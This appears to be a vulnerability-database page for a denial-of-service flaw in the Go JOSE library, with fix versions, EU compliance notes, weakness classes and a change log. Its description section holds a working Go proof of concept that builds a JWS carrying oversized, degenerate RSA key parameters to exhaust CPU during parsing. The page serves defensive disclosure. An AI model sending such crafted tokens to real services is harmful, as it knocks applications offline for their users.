Go JOSE: DoS when parsing JWKs that contain RSA keys (CVE-2026-116587)

What is affected, what to do

Update Go-jose to version 4.1.6.

Affected

• Go-jose lt *..4.1.6

Fixed in

• Go-jose 4.1.6

Not sure whether and how you are affected? Ask a question about this vulnerability

Metrics

Detection rules

No NEOSEC detection rule is available for this vulnerability yet.

Classification under NIS2 and CRA

Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.

NIS2

NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.

Read in glossary

High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.

CRA

The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.

Read in glossary

From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.

ISO/IEC 27001

ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.

Read in glossary

Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.

Description

package main

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"math/big"
	"time"

	"github.com/go-jose/go-jose/v4"
)

func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)

	jwk := map[string]string{
		"kty": "RSA",
		"n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		"e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		"d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		"p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		"q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}

	protected := map[string]any{
		"alg": "RS256",
		"jwk": jwk,
	}
	protJSON, _ := json.Marshal(protected)

	jws := map[string]string{
		"protected": base64.RawURLEncoding.EncodeToString(protJSON),
		"payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
		"signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
	}
	jwsJSON, _ := json.Marshal(jws)

	start := time.Now()
	_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
	elapsed := time.Since(start)

	fmt.Printf("prime bits: %d\n", primeBits)
	fmt.Printf("parse time: %s\n", elapsed)
	fmt.Printf("parse error: %v\n", err)
}

Source: Microsoft Security Update Guide, OSV (Open Source Vulnerabilities), GitHub Security Advisories, cvelistv5, NVD (NIST)

Vendors and products

• Go Github.com/go-jose/go-jose/v3
• Go Github.com/go-jose/go-jose/v4
• Go-jose Go-jose

Weakness classes (CWE)

• CWE-407Inefficient Algorithmic Complexity

  Class

  An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

  Entry at MITRE CWE-407

• CWE-770Allocation of Resources Without Limits or Throttling

  Base

  The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

  Entry at MITRE CWE-770

References & sources

• github.comgo-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230x_refsource_MISC, web
• github.comgo-jose/go-jose/releases/tag/v4.1.6x_refsource_MISC, web
• github.comgo-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2qx_refsource_CONFIRM, web
• NVD (NIST)vuln/detail/CVE-2026-116587advisory
• github.comgo-jose/go-josepackage

Changes to this CVE

Who changed this CVE and when: NVD (analysis, affected products, CVSS), the CVE publisher (CNA) and additional providers such as CISA (ADP).

1. 27.10.2026Record modifiedCISA ADP

   CISA assessment (SSVC): exploitation: none known, automatable: yes

   Show the original change

   Individual changes of this event as published by NVD

   Type	Action	Before	After
   SSVC assessment	added	—	{"id":"CVE-2026-116587","role":"CISA Coordinator","options":[{"exploitation":"none"},{"automatable":"yes"},{"technicalImpact":"partial"}],"version":"2.0.3","timestamp":"2026-10-27T13:45:58.881401Z"}

   Source identifier: 134c704f-9b21-4f2e-91b3-4a467353bcc0

2. 26.10.2026ReceivedGitHub

   CVSS V3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

   Weakness type: CWE-407, CWE-770

   Description added or changed

   New references:

   • https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230
   • https://github.com/go-jose/go-jose/releases/tag/v4.1.6
   • https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q
   Show 8 original changes

   Individual changes of this event as published by NVD

   Type	Action	Before	After
   Description	added	—	Go JOSE provides an implementation of the Javascript Object Signing and Encryption set of standards in Go, including support for JSON Web Encryption (JWE), JSON Web Signature (JWS), and JSON Web Token (JWT) standards. Prior to 4.1.6, go-jose parses attacker-controlled RSA modulus and prime values from JWKs without enforcing size and consistency bounds before passing them to crypto/rsa.PrivateKey.Validate. On Go 1.24 and later, crafted large or degenerate RSA parameters can make that validation consume cubic CPU time, allowing remote denial of service in applications that parse JWKs from untrusted sources. This issue is fixed in version 4.1.6.
   CVSS	added	—	AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
   Weakness type (CWE)	added	—	CWE-407
   Weakness type (CWE)	added	—	CWE-770
   Affected versions (publisher)	added	—	New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/116xxx/CVE-2026-116587.json">CVE-2026-116587</a>
   Reference	added	—	https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230
   Reference	added	—	https://github.com/go-jose/go-jose/releases/tag/v4.1.6
   Reference	added	—	https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q

   Source identifier: security-advisories@github.com